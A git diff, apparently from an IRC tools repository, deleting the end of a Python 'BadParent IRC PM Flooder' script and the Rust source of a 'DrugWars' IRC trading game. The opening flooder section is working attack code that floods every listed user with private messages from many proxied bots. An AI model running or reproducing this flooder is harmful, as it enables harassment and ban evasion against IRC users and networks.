|
||||
self.event_nick(nick, new)
|
||||
elif args[1] == 'QUIT' :
|
||||
nick = args[0].split('!')[0][1:]
|
||||
self.event_quit(nick)
|
||||
|
||||
def join_channel(self, chan, key=None):
|
||||
self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
|
||||
|
||||
def listen(self):
|
||||
while True:
|
||||
try:
|
||||
data = self.sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||||
self.handle_events(line)
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||||
pass
|
||||
except Exception as ex:
|
||||
error('Unexpected error occured.', ex)
|
||||
break
|
||||
self.event_disconnect()
|
||||
|
||||
def raw(self, msg):
|
||||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||||
|
||||
|
||||
|
||||
class child:
|
||||
def __init__(self, data_line):
|
||||
self.data_line = data_line
|
||||
self.sock = None
|
||||
|
||||
def attack(self):
|
||||
while True:
|
||||
try:
|
||||
if not Parent.nicklist:
|
||||
error('Nicklist has become empty!')
|
||||
break
|
||||
for name in Parent.nicklist:
|
||||
self.sendmsg(name, unicode())
|
||||
time.sleep(config.throttle.pm)
|
||||
except:
|
||||
break
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
self.create_socket()
|
||||
self.sock.connect((config.connection.server, config.connection.port))
|
||||
self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7))))
|
||||
self.raw('NICK ' + random_str(random.randint(4,7)))
|
||||
except socket.error:
|
||||
self.sock.close()
|
||||
else:
|
||||
self.listen()
|
||||
|
||||
def create_socket(self):
|
||||
family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
|
||||
if pargs.proxy:
|
||||
proxy_server, proxy_port = self.data_line.split(':')
|
||||
self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.sock.setblocking(0)
|
||||
self.sock.settimeout(config.throttle.timeout)
|
||||
self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
|
||||
elif pargs.vhost:
|
||||
self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
|
||||
self.sock.bind((self.data_line, 0))
|
||||
if config.connection.ssl:
|
||||
self.sock = ssl.wrap_socket(self.sock)
|
||||
|
||||
def listen(self):
|
||||
while True:
|
||||
try:
|
||||
data = self.sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||||
args = data.split()
|
||||
if data.startswith('ERROR :Closing Link:'):
|
||||
raise Exception('Connection has closed.')
|
||||
elif args[0] == 'PING':
|
||||
self.raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001':
|
||||
alert(f'Successful connection. ({self.data_line})')
|
||||
threading.Thread(target=self.attack).start()
|
||||
elif args[1] == '401':
|
||||
nick = args[3]
|
||||
self.event_bad_nick()
|
||||
elif args[1] == '433':
|
||||
self.raw('NICK ' + random_str(random.randint(4,7)))
|
||||
elif args[1] == '486':
|
||||
nick = args[-1:]
|
||||
self.event_bad_nick(nick)
|
||||
elif args[1] == '716':
|
||||
nick = args[3]
|
||||
if nick in Parent.nicklist:
|
||||
Parent.nicklist.remove(nick)
|
||||
elif args[1] == 'NOTICE':
|
||||
if 'User does not accept private messages' in data:
|
||||
nick = args[5][1:-1]
|
||||
self.event_bad_nick(nick)
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||||
pass
|
||||
except:
|
||||
break
|
||||
self.sock.close()
|
||||
|
||||
def raw(self, msg):
|
||||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||||
|
||||
def sendmsg(self, target, msg):
|
||||
self.raw(f'PRIVMSG {target} :{msg}')
|
||||
|
||||
|
||||
|
||||
def load_children():
|
||||
debug('Loading children bots...')
|
||||
for i in range(config.throttle.concurrency):
|
||||
debug('Concurrency round starting....')
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
|
||||
checks = {executor.submit(child(item).connect): item for item in data_lines}
|
||||
for future in concurrent.futures.as_completed(checks):
|
||||
checks[future]
|
||||
debug('Flooding is complete. (Threads still may be running!)')
|
||||
|
||||
# Main
|
||||
print('#'*56)
|
||||
print('#{0}#'.format(''.center(54)))
|
||||
print('#{0}#'.format('BadParent IRC PM Flooder'.center(54)))
|
||||
print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
|
||||
print('#{0}#'.format('https://acid.vegas/badparent'.center(54)))
|
||||
print('#{0}#'.format(''.center(54)))
|
||||
print('#'*56)
|
||||
parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
|
||||
parser.add_argument('input', help='file to scan')
|
||||
parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
|
||||
parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
|
||||
pargs = parser.parse_args()
|
||||
if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
|
||||
error_exit('Invalid arguments.')
|
||||
if pargs.proxy:
|
||||
try:
|
||||
import socks
|
||||
except ImportError:
|
||||
error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
|
||||
if not os.path.isfile(pargs.input):
|
||||
error_exit('No such input file.')
|
||||
data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
|
||||
debug(f'Loaded {len(data_lines)} lines from file.')
|
||||
random.shuffle(data_lines)
|
||||
debug('Starting parent bot connection...')
|
||||
Parent = parent()
|
||||
Parent.connect()
|
2
irc/bots/drugwars/.gitignore
vendored
2
irc/bots/drugwars/.gitignore
vendored
@ -1,2 +0,0 @@
|
||||
/target
|
||||
/Cargo.lock
|
@ -1,6 +0,0 @@
|
||||
[workspace]
|
||||
|
||||
members = [
|
||||
"irc",
|
||||
"drugwars"
|
||||
]
|
@ -1,14 +0,0 @@
|
||||
[package]
|
||||
name = "drugwars"
|
||||
author = "wrk"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
irc = { path = "../irc" }
|
||||
serde = { version = "1.0.163", features = ["derive"] }
|
||||
serde_yaml = "0.9.21"
|
||||
itertools = "0.10.5"
|
||||
rand = "0.8.5"
|
||||
rand_distr = "0.4.3"
|
||||
chrono = "0.4.24"
|
@ -1,584 +0,0 @@
|
||||
use crate::{drug_wars::DrugWars, dealer::Dealer, utils::{get_flight_price, capacity_price, pretty_print_money}};
|
||||
|
||||
impl DrugWars {
|
||||
pub fn register_dealer(&mut self, nick: &str) -> Vec<String> {
|
||||
if self.dealers.contains_key(nick) {
|
||||
return vec![format!(
|
||||
"{}: you're already registered you bloot clot donkey",
|
||||
nick
|
||||
)];
|
||||
}
|
||||
|
||||
self.dealers.insert(nick.to_owned(), Dealer::random(self));
|
||||
|
||||
let dealer = self.dealers.get(nick).unwrap();
|
||||
let location = self.locations.get_mut(&dealer.location).unwrap();
|
||||
|
||||
location.blokes.insert(nick.to_owned());
|
||||
|
||||
vec![format!("{}: get rich or die tryin", nick)]
|
||||
}
|
||||
|
||||
|
||||
pub fn show_page_for_nick(&self, nick: &str) -> Vec<String> {
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
let mut lines = vec![];
|
||||
|
||||
lines.append(&mut self.render_header(nick, dealer));
|
||||
if dealer.max_width >= 110 {
|
||||
lines.append(&mut self.render_drugs_dual_columns(dealer));
|
||||
lines.append(&mut self.render_items_dual_columns(dealer));
|
||||
} else {
|
||||
lines.append(&mut self.render_drugs(dealer));
|
||||
lines.append(&mut self.render_items(dealer));
|
||||
}
|
||||
|
||||
lines.append(&mut self.render_people(dealer));
|
||||
lines.append(&mut self.render_command_list(dealer));
|
||||
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn set_dealer_max_width(&mut self, nick: &str, size: usize) -> Vec<String> {
|
||||
let Some(dealer) = self.get_dealer_mut(nick) else { return vec![
|
||||
format!("{}: You aren't playing yet you donkey", nick)
|
||||
]; };
|
||||
|
||||
dealer.max_width = size;
|
||||
vec![
|
||||
format!("{}: Changed your max width to {}", nick, size),
|
||||
"Your max width is now:".to_owned(),
|
||||
format!("├{}┤", "─".repeat(size - 2))
|
||||
]
|
||||
}
|
||||
|
||||
pub fn buy_drug(&mut self, nick: &str, drug_str: &str, amount: usize) -> Vec<String> {
|
||||
let drug_str = drug_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let matching_drugs = self
|
||||
.drugs
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&drug_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_drugs.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested drug", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (drug_name, _) = matching_drugs[0];
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
if !location.drug_market.contains_key(drug_name) {
|
||||
return vec![format!(
|
||||
"{}: There isn't any {} on the market today.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
if dealer.get_total_drugs_local() + amount > dealer.capacity {
|
||||
return vec![
|
||||
format!("{}: You don't have enough capacity", nick)
|
||||
]
|
||||
}
|
||||
|
||||
let drug_at_market = location.drug_market.get(drug_name).unwrap();
|
||||
if drug_at_market.supply < amount {
|
||||
return vec![format!(
|
||||
"{}: There isn't enough supply of {} today.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
let total_price = drug_at_market.price * amount as u128;
|
||||
|
||||
if total_price > dealer.money {
|
||||
return vec![format!("{}: Not enough money you broke ass punk", nick)];
|
||||
}
|
||||
|
||||
self._buy_drug(nick, &drug_name.clone(), amount, drug_at_market.price)
|
||||
}
|
||||
|
||||
pub fn sell_drug(&mut self, nick: &str, drug_str: &str, amount: usize) -> Vec<String> {
|
||||
let drug_str = drug_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let matching_drugs = self
|
||||
.drugs
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&drug_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_drugs.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested drug", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (drug_name, _) = matching_drugs[0];
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
if !location.drug_market.contains_key(drug_name) {
|
||||
return vec![format!(
|
||||
"{}: There isn't any {} needed on the market today.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
let drug_at_market = location.drug_market.get(drug_name).unwrap();
|
||||
if drug_at_market.demand < amount {
|
||||
return vec![format!(
|
||||
"{}: There isn't enough demand of {} today.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_drugs_local = dealer.owned_drugs.get(&dealer.location).unwrap();
|
||||
|
||||
if !owned_drugs_local.contains_key(drug_name) {
|
||||
return vec![format!(
|
||||
"{}: You don't have any {} here.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_drug = owned_drugs_local.get(drug_name).unwrap();
|
||||
|
||||
if owned_drug.amount < amount {
|
||||
return vec![format!(
|
||||
"{}: You don't have enough {} to sell.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
self._sell_drug(nick, &drug_name.clone(), amount, drug_at_market.price)
|
||||
}
|
||||
|
||||
|
||||
pub fn buy_item(&mut self, nick: &str, item_str: &str, amount: usize) -> Vec<String> {
|
||||
let item_str = item_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let matching_items = self
|
||||
.items
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&item_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_items.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested item", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The item you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (item_name, _) = matching_items[0];
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
if !location.item_market.contains_key(item_name) {
|
||||
return vec![format!(
|
||||
"{}: There isn't any {} on the market today.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
if dealer.get_total_items_local() + amount > dealer.capacity {
|
||||
return vec![
|
||||
format!("{}: You don't have enough capacity", nick)
|
||||
]
|
||||
}
|
||||
|
||||
let item_at_market = location.item_market.get(item_name).unwrap();
|
||||
if item_at_market.supply < amount {
|
||||
return vec![format!(
|
||||
"{}: There isn't enough supply of {} today.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
let total_price = item_at_market.price * amount as u128;
|
||||
|
||||
if total_price > dealer.money {
|
||||
return vec![format!("{}: Not enough money you broke ass punk", nick)];
|
||||
}
|
||||
|
||||
self._buy_item(nick, &item_name.clone(), amount, item_at_market.price)
|
||||
}
|
||||
|
||||
pub fn sell_item(&mut self, nick: &str, item_str: &str, amount: usize) -> Vec<String> {
|
||||
let item_str = item_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let matching_items = self
|
||||
.items
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&item_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_items.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested item", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The item you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (item_name, _) = matching_items[0];
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
if !location.item_market.contains_key(item_name) {
|
||||
return vec![format!(
|
||||
"{}: There isn't any {} needed on the market today.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
let item_at_market = location.item_market.get(item_name).unwrap();
|
||||
if item_at_market.demand < amount {
|
||||
return vec![format!(
|
||||
"{}: There isn't enough demand of {} today.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_items_local = dealer.owned_items.get(&dealer.location).unwrap();
|
||||
|
||||
if !owned_items_local.contains_key(item_name) {
|
||||
return vec![format!(
|
||||
"{}: You don't have any {} here.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_item = owned_items_local.get(item_name).unwrap();
|
||||
|
||||
if owned_item.amount < amount {
|
||||
return vec![format!(
|
||||
"{}: You don't have enough {} to sell.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
self._sell_item(nick, &item_name.clone(), amount, item_at_market.price)
|
||||
}
|
||||
|
||||
pub fn give_money(&mut self, nick: &str, amount: f64, bloke_nick: &str) -> Vec<String> {
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let Some(_) = self.get_dealer(bloke_nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
let money = (amount * 10000.) as u128;
|
||||
|
||||
if dealer.money < money {
|
||||
return vec![format!("{}: Not enough money you broke ass punk", nick)];
|
||||
}
|
||||
|
||||
self._give_money(nick, bloke_nick, money)
|
||||
|
||||
}
|
||||
|
||||
pub fn give_drug(&mut self, nick: &str, drug_str: &str, amount: usize, bloke_nick: &str) -> Vec<String> {
|
||||
let drug_str = drug_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let Some(bloke) = self.get_dealer(bloke_nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if dealer.location != bloke.location {
|
||||
return vec![format!("{}: {} is not in {} currently.", nick, bloke_nick, dealer.location)];
|
||||
}
|
||||
|
||||
let matching_drugs = self
|
||||
.drugs
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&drug_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_drugs.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested drug", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (drug_name, _) = matching_drugs[0];
|
||||
|
||||
let owned_drugs_local = dealer.owned_drugs.get(&dealer.location).unwrap();
|
||||
|
||||
if !owned_drugs_local.contains_key(drug_name) {
|
||||
return vec![format!(
|
||||
"{}: You don't have any {} here.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_drug = owned_drugs_local.get(drug_name).unwrap();
|
||||
|
||||
if owned_drug.amount < amount {
|
||||
return vec![format!(
|
||||
"{}: You don't have enough {} to sell.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
if bloke.get_total_drugs_local() + amount > bloke.capacity {
|
||||
return vec![format!(
|
||||
"{}: {} don't have enough capacity",
|
||||
nick,
|
||||
bloke_nick
|
||||
)];
|
||||
}
|
||||
|
||||
self._give_drug(nick, bloke_nick, &drug_name.clone(), amount)
|
||||
|
||||
}
|
||||
|
||||
pub fn give_item(&mut self, nick: &str, item_str: &str, amount: usize, bloke_nick: &str) -> Vec<String> {
|
||||
let item_str = item_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let Some(bloke) = self.get_dealer(bloke_nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if dealer.location != bloke.location {
|
||||
return vec![format!("{}: {} is not in {} currently.", nick, bloke_nick, dealer.location)];
|
||||
}
|
||||
|
||||
let matching_items = self
|
||||
.items
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&item_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_items.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested item", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The item you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (item_name, _) = matching_items[0];
|
||||
|
||||
let owned_items_local = dealer.owned_items.get(&dealer.location).unwrap();
|
||||
|
||||
if !owned_items_local.contains_key(item_name) {
|
||||
return vec![format!(
|
||||
"{}: You don't have any {} here.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_item = owned_items_local.get(item_name).unwrap();
|
||||
|
||||
if owned_item.amount < amount {
|
||||
return vec![format!(
|
||||
"{}: You don't have enough {} to sell.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
if bloke.get_total_items_local() + amount > bloke.capacity {
|
||||
return vec![format!(
|
||||
"{}: {} don't have enough capacity",
|
||||
nick,
|
||||
bloke_nick
|
||||
)];
|
||||
}
|
||||
|
||||
self._give_item(nick, bloke_nick, &item_name.clone(), amount)
|
||||
}
|
||||
|
||||
pub fn check_flight_prices(&self, nick: &str) -> Vec<String> {
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let mut lines = vec![];
|
||||
lines.push(format!("{}: Here are the flight prices:", nick));
|
||||
|
||||
lines.append(&mut self.prices_from(&dealer.location));
|
||||
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn fly_to(&mut self, nick: &str, destination_str: &str) -> Vec<String> {
|
||||
|
||||
let destination_str = destination_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let matching_destinations = self
|
||||
.locations
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&destination_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_destinations.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested destination", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The destination you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let current_location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
let (destination_name, destination) = matching_destinations[0];
|
||||
|
||||
let price = get_flight_price(current_location, destination);
|
||||
|
||||
if dealer.money < price {
|
||||
return vec![format!("{}: Not enough money you broke ass punk", nick)];
|
||||
}
|
||||
|
||||
|
||||
self._fly_to(nick, &destination_name.clone())
|
||||
}
|
||||
|
||||
pub fn check_capacity_price(&mut self, nick: &str, amount: usize) -> Vec<String> {
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let Some(price) = capacity_price(dealer.capacity, amount) else {
|
||||
return vec![
|
||||
format!("{}: You won't ever need that much capacity. Will you?", nick)
|
||||
];
|
||||
};
|
||||
|
||||
return vec![
|
||||
format!("{}: It will cost you {} to buy {} slots", nick, pretty_print_money(price), amount)
|
||||
]
|
||||
|
||||
}
|
||||
|
||||
pub fn buy_capacity(&mut self, nick: &str, amount: usize) -> Vec<String> {
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let Some(price) = capacity_price(dealer.capacity, amount) else {
|
||||
return vec![
|
||||
format!("{}: You won't ever need that much capacity. Will you?", nick)
|
||||
];
|
||||
};
|
||||
|
||||
if dealer.money < price {
|
||||
return vec![format!("{}: Not enough money you broke ass punk", nick)];
|
||||
}
|
||||
|
||||
self._buy_capacity(nick, amount)
|
||||
}
|
||||
|
||||
}
|
@ -1,24 +0,0 @@
|
||||
use std::{fs::File, io::Read};
|
||||
|
||||
use serde::Deserialize;
|
||||
use serde_yaml::{Mapping, Sequence};
|
||||
|
||||
#[derive(Deserialize)]
|
||||
pub struct DrugWarsConfig {
|
||||
pub settings: Mapping,
|
||||
pub locations: Sequence,
|
||||
pub drugs: Sequence,
|
||||
pub items: Mapping,
|
||||
pub messages: Mapping,
|
||||
}
|
||||
|
||||
impl DrugWarsConfig {
|
||||
pub fn from_file(path: &str) -> std::io::Result<Self> {
|
||||
let mut file = File::open(path)?;
|
||||
let mut contents = String::new();
|
||||
file.read_to_string(&mut contents)?;
|
||||
|
||||
let config: DrugWarsConfig = serde_yaml::from_str(&contents).unwrap();
|
||||
Ok(config)
|
||||
}
|
||||
}
|
@ -1,175 +0,0 @@
|
||||
use std::collections::HashMap;
|
||||
|
||||
use rand::seq::IteratorRandom;
|
||||
|
||||
use crate::{
|
||||
definitions::{DealerStatus, OwnedDrug, OwnedItem},
|
||||
drug_wars::DrugWars,
|
||||
};
|
||||
|
||||
pub struct Dealer {
|
||||
pub money: u128,
|
||||
pub location: String,
|
||||
pub capacity: usize,
|
||||
pub owned_drugs: HashMap<String, HashMap<String, OwnedDrug>>,
|
||||
pub owned_items: HashMap<String, HashMap<String, OwnedItem>>,
|
||||
pub max_width: usize,
|
||||
pub status: DealerStatus,
|
||||
}
|
||||
|
||||
impl Dealer {
|
||||
pub fn random(drug_wars: &DrugWars) -> Self {
|
||||
let mut rng = rand::thread_rng();
|
||||
|
||||
let mut owned_drugs = HashMap::default();
|
||||
let mut owned_items = HashMap::default();
|
||||
|
||||
for (name, _) in &drug_wars.locations {
|
||||
owned_drugs.insert(name.clone(), HashMap::default());
|
||||
owned_items.insert(name.clone(), HashMap::default());
|
||||
}
|
||||
|
||||
let location_name = drug_wars.locations.keys().choose(&mut rng).unwrap();
|
||||
|
||||
Self {
|
||||
money: 100000000000,
|
||||
location: location_name.clone(),
|
||||
capacity: 10,
|
||||
owned_drugs,
|
||||
owned_items,
|
||||
max_width: 110,
|
||||
status: DealerStatus::Available,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn available(&self) -> bool {
|
||||
self.status == DealerStatus::Available
|
||||
}
|
||||
|
||||
pub fn get_local_drugs(&self) -> &HashMap<String, OwnedDrug> {
|
||||
self.owned_drugs.get(&self.location).unwrap()
|
||||
}
|
||||
|
||||
pub fn get_local_items(&self) -> &HashMap<String, OwnedItem> {
|
||||
self.owned_items.get(&self.location).unwrap()
|
||||
}
|
||||
|
||||
pub fn get_total_drugs_local(&self) -> usize {
|
||||
self.get_total_drugs_at(&self.location)
|
||||
}
|
||||
|
||||
pub fn get_total_drugs_at(&self, location: &str) -> usize {
|
||||
self.owned_drugs
|
||||
.get(location)
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|(_, drug)| drug.amount)
|
||||
.sum()
|
||||
}
|
||||
|
||||
pub fn get_total_items_local(&self) -> usize {
|
||||
self.get_total_items_at(&self.location)
|
||||
}
|
||||
|
||||
pub fn get_total_items_at(&self, location: &str) -> usize {
|
||||
self.owned_items
|
||||
.get(location)
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|(_, drug)| drug.amount)
|
||||
.sum()
|
||||
}
|
||||
|
||||
pub fn print_status(&self) -> &str {
|
||||
match self.status {
|
||||
DealerStatus::Available => "Available",
|
||||
DealerStatus::Flying => "Flying",
|
||||
}
|
||||
}
|
||||
|
||||
pub fn add_drug_local(&mut self, drug_name: &str, amount: usize, bought_at: u128) {
|
||||
let location = self.location.clone();
|
||||
self.add_drug_at(&location, drug_name, amount, bought_at)
|
||||
}
|
||||
|
||||
pub fn add_drug_at(&mut self, location: &str, drug_name: &str, amount: usize, bought_at: u128) {
|
||||
let owned_drugs = self.owned_drugs.get_mut(location).unwrap();
|
||||
|
||||
let owned_drug = match owned_drugs.entry(drug_name.to_owned()) {
|
||||
std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
|
||||
std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedDrug {
|
||||
amount: 0,
|
||||
bought_at: 0,
|
||||
}),
|
||||
};
|
||||
|
||||
let average_price = (owned_drug.amount as u128 * owned_drug.bought_at
|
||||
+ amount as u128 * bought_at)
|
||||
/ (owned_drug.amount as u128 + amount as u128);
|
||||
|
||||
owned_drug.amount += amount;
|
||||
owned_drug.bought_at = average_price;
|
||||
}
|
||||
|
||||
pub fn sub_drug_local(&mut self, drug_name: &str, amount: usize) {
|
||||
let location = self.location.clone();
|
||||
self.sub_drug_at(&location, drug_name, amount);
|
||||
}
|
||||
|
||||
pub fn sub_drug_at(&mut self, location: &str, drug_name: &str, amount: usize) {
|
||||
let owned_drugs = self.owned_drugs.get_mut(location).unwrap();
|
||||
|
||||
let owned_drug = match owned_drugs.entry(drug_name.to_owned()) {
|
||||
std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
|
||||
std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedDrug {
|
||||
amount: 0,
|
||||
bought_at: 0,
|
||||
}),
|
||||
};
|
||||
|
||||
owned_drug.amount -= amount;
|
||||
}
|
||||
|
||||
pub fn add_item_local(&mut self, item_name: &str, amount: usize, bought_at: u128) {
|
||||
let location = self.location.clone();
|
||||
self.add_item_at(&location, item_name, amount, bought_at)
|
||||
}
|
||||
|
||||
pub fn add_item_at(&mut self, location: &str, item_name: &str, amount: usize, bought_at: u128) {
|
||||
let owned_items = self.owned_items.get_mut(location).unwrap();
|
||||
|
||||
let owned_item = match owned_items.entry(item_name.to_owned()) {
|
||||
std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
|
||||
std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedItem {
|
||||
amount: 0,
|
||||
bought_at: 0,
|
||||
}),
|
||||
};
|
||||
|
||||
let average_price = (owned_item.amount as u128 * owned_item.bought_at
|
||||
+ amount as u128 * bought_at)
